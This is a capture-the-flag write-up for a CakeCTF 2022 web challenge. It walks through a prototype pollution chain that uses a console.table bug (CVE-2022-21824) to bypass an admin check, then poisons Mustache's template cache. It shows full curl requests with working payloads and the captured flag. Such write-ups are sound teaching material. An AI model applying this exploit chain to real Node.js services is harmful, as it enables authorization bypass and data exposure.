Rating:

> TLDR:
>
> First pollute `Object.__proto__[0]` with help of `console.table` (CVE-2022-21824)
> Secondly pollute mustache parser cache (`Writer.prototype.parse`)

Explanation:

```js
/* Update memo */
if (ip in memo) {
memo[ip][index] = new_memo;
res.json({ status: "success", result: "Successfully updated" });
} else {
res.json({ status: "error", result: "Memo not found" });
}
```

Brief analysis reveals vuln of square bracket notation with user controlled input.

> See: [https://github.com/nodesecurity/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md)

Since `ip in memo` will return `true` for any property of object (that's why you should use Map-like instead) we can modify `Object.__proto__`. The only problem is that we can't change `ip` not being and admin, or can we?

```js
const getAdminRole = (req) => {
/* Return array of admin roles (such as admin, developer).
More roles are to be added in the future. */
return isAdmin(req) ? ["admin"] : [];
};

/* Admin can edit anyone's memo for censorship */
if (getAdminRole(req)[0] !== undefined) {
ip = req.body.ip;
}
```

That's looks strange and very usnsafe. The common usage of prototype pollution is extending empty objects with some properties. So the only thing we need is to somehow assign any value to `Object.__proto__[0]`. Futher analysis reveals another strange part of code

```js
/* We don't need to call isAdmin here
because only admin can see console log. */
if (req.body.debug == true) {
console.table(memo, req.body.inspect);
}
```

Two things that we should take into account. There is no admin-only guards. And usage of `console.table`. In contrast to `console.log`, `console.table` is rarely used and much more complex inside. Quick search `console.table + vulns` gives us CVE-2022-21824.

> See: [https://nodejs.org/en/blog/vulnerability/jan-2022-security-releases/#prototype-pollution-via-console-table-properties-low-cve-2022-21824](https://nodejs.org/en/blog/vulnerability/jan-2022-security-releases/#prototype-pollution-via-console-table-properties-low-cve-2022-21824)

So let's start breaking server. Firstly we need create an empty memo since we need non-empty object as first paramter of `console.table` to use this vuln.

```bash
curl --location --request POST 'http://web2.2022.cakectf.com:39073/new' \
--header 'Authorization: Basic <TOKEN>' \
--header 'Content-Type: application/json' \
--data-raw '{}'
```

And then just

```bash
curl --location --request GET 'http://web2.2022.cakectf.com:39073/show' \
--header 'Authorization: Basic <TOKEN>' \
--header 'Content-Type: application/json' \
--data-raw '{
"debug": true,
"inspect": ["__proto__"]
}'
```

`console.table` will pollute `Object.__proto__[0]` with empty string. Don't worry about error – it's ok.
Now `getAdminRole(req)[0] !== undefined` will aways `true`, and finally we can replace `ip` with any value.

But still there is no way to retrieve flag. We can't override properties using (such) prototype pollution, so `Object.__proto__.is_admin = true` wouldn't work. And since we can't modify a data to be rendered let's modify a way it's rendered. Thanks God, app uses `Mustache` as template engine. It's only 776 lines of source code including a lot of comments. What we are looking for is undefined but somehow used property. In general case it may be some config objects with optional properties, or some caching things. Let's begin reversing from `mustache.render`

```js
mustache.render = function render(template, view, partials, config) {
if (typeof template !== "string") {
throw new TypeError(
'Invalid template! Template should be a "string" ' +
'but "' +
typeStr(template) +
'" was given as the first ' +
"argument for mustache#render(template, view, partials)"
);
}

return defaultWriter.render(template, view, partials, config);
};
```

Unfortunately, both partials and config are `undefined` and there is nothing we can deal with it. Let's dive deeper – `defaultWriter.render`

```js
Writer.prototype.render = function render(template, view, partials, config) {
var tags = this.getConfigTags(config);
var tokens = this.parse(template, tags);
var context = view instanceof Context ? view : new Context(view, undefined);
return this.renderTokens(tokens, context, partials, template, config);
};
```

And again we can't affect `this.getConfigTags(config);`, but maybe we can do something with parsing? Let's see

```js
Writer.prototype.parse = function parse(template, tags) {
var cache = this.templateCache;
var cacheKey = template + ":" + (tags || mustache.tags).join(":");

var isCacheEnabled = typeof cache !== "undefined";
var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;

if (tokens == undefined) {
tokens = parseTemplate(template, tags);
isCacheEnabled && cache.set(cacheKey, tokens);
}
return tokens;
};
```

Oh yeah, that's exactly we looking for. Despite `cache.get` looks as `Map-like` class, actually it just a stupid wrapper around `Object`, that means we can easily pollute cache.

```js
function Writer() {
this.templateCache = {
_cache: {},
set: function set(key, value) {
this._cache[key] = value;
},
get: function get(key) {
return this._cache[key];
},
clear: function clear() {
this._cache = {};
},
};
}
```

Let's add some `console.log`'s to discover what tokens are cached.

```json
[
["text", "<omitted>", 0, 464],
[
"#",
"is_admin",
484,
497,
[
["text", "FLAG: ", 498, 530],
["name", "flag", 530, 538],
["text", "
\n", 538, 546]
],
566
],
[
"^",
"is_admin",
600,
613,
[["text", "<mark>Access Denied</mark>\n", 614, 661]],
681
],
["text", "<omitted>", 695, 775]
]
```

Okay, because of offsets it may seems a little bit difficult to fake cache, but actually only thing we need to change is a `#` to `^` in second token. This change will inverse render condition so flag will renders for non-admin users. The last step is restart server to clear a cache, reproduce steps above, fill cache with fake tokens and finally open `/admin.php`

```bash
curl --location --request POST 'http://web2.2022.cakectf.com:39073/edit' \
--header 'X-Forwarded-For: __proto__' \
--header 'Authorization: Basic <TOKEN>' \
--header 'Content-Type: application/json' \
--data-raw '{
"ip": "__proto__",
"index": "\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n

Please leave this page if you'\''re not the admin.

\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n

\n {{#is_admin}}\n FLAG: {{flag}}\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n

\n </article>\n </main>\n </body>\n</html>\n:{{:}}",
"memo": [[
"text",
"\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n

Please leave this page if you'\''re not the admin.

\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n

\n",
0,
464
],
[
"^",
"is_admin",
484,
497,
[
["text", " FLAG: ", 498, 530],
["name", "flag", 530, 538],
["text", "
\n", 538, 546]
],
566
],
[
"^",
"is_admin",
600,
613,
[["text", " <mark>Access Denied</mark>\n", 614, 661]],
681
],
[
"text",
"

\n </article>\n </main>\n </body>\n</html>\n",
695,
775
]
]
}'
```

Flag: `CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}`